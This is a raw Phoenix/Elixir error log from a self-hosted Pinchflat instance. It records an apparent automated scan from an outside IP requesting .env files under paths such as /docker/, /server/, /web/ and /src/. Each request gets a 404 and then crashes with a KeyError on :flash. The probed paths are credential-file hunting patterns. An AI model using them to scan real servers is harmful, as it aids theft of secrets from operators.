:undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3205.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49526}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3206.0>, params: %{}, path_info: ["docker", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forward (truncated) 21:08:39.891 [info] GET /docker/app/.env 21:08:39.892 [debug] QUERY OK source="settings" db=0.3ms idle=106.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.892 [debug] QUERY OK source="settings" db=0.2ms idle=96.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.892 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.893 [error] #PID<0.3208.0> running PinchflatWeb.Endpoint (connection #PID<0.3207.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /docker/app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3207.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/app/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49532}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3208.0>, params: %{}, path_info: ["docker", "app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/docker/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-fspaGu9PawAAOEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3207.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/app/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49532}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3207.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/app/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49532}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3208.0>, params: %{}, path_info: ["docker", "app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", (truncated) 21:08:39.903 [info] GET /server/.env 21:08:39.904 [debug] QUERY OK source="settings" db=0.2ms idle=107.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.904 [debug] QUERY OK source="settings" db=0.2ms idle=37.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.904 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.904 [error] #PID<0.3210.0> running PinchflatWeb.Endpoint (connection #PID<0.3209.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /server/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3209.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49536}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3210.0>, params: %{}, path_info: ["server", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/server/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-fvksu_RJT4AAOGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3209.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49536}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3209.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49536}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3210.0>, params: %{}, path_info: ["server", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forward (truncated) 21:08:39.911 [info] GET /web/.env 21:08:39.912 [debug] QUERY OK source="settings" db=0.2ms idle=44.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.912 [debug] QUERY OK source="settings" db=0.2ms idle=20.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.912 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.912 [error] #PID<0.3212.0> running PinchflatWeb.Endpoint (connection #PID<0.3211.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /web/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3211.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49540}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3212.0>, params: %{}, path_info: ["web", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/web/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-fxiWEaZSo8AAOIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3211.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49540}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3211.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49540}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3212.0>, params: %{}, path_info: ["web", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:39.943 [info] GET /src/.env 21:08:39.944 [debug] QUERY OK source="settings" db=0.3ms idle=51.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.944 [debug] QUERY OK source="settings" db=0.1ms idle=40.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.944 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.944 [error] #PID<0.3214.0> running PinchflatWeb.Endpoint (connection #PID<0.3213.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /src/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3213.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49546}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3214.0>, params: %{}, path_info: ["src", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/src/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-f5J7STEcUYAAOKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, 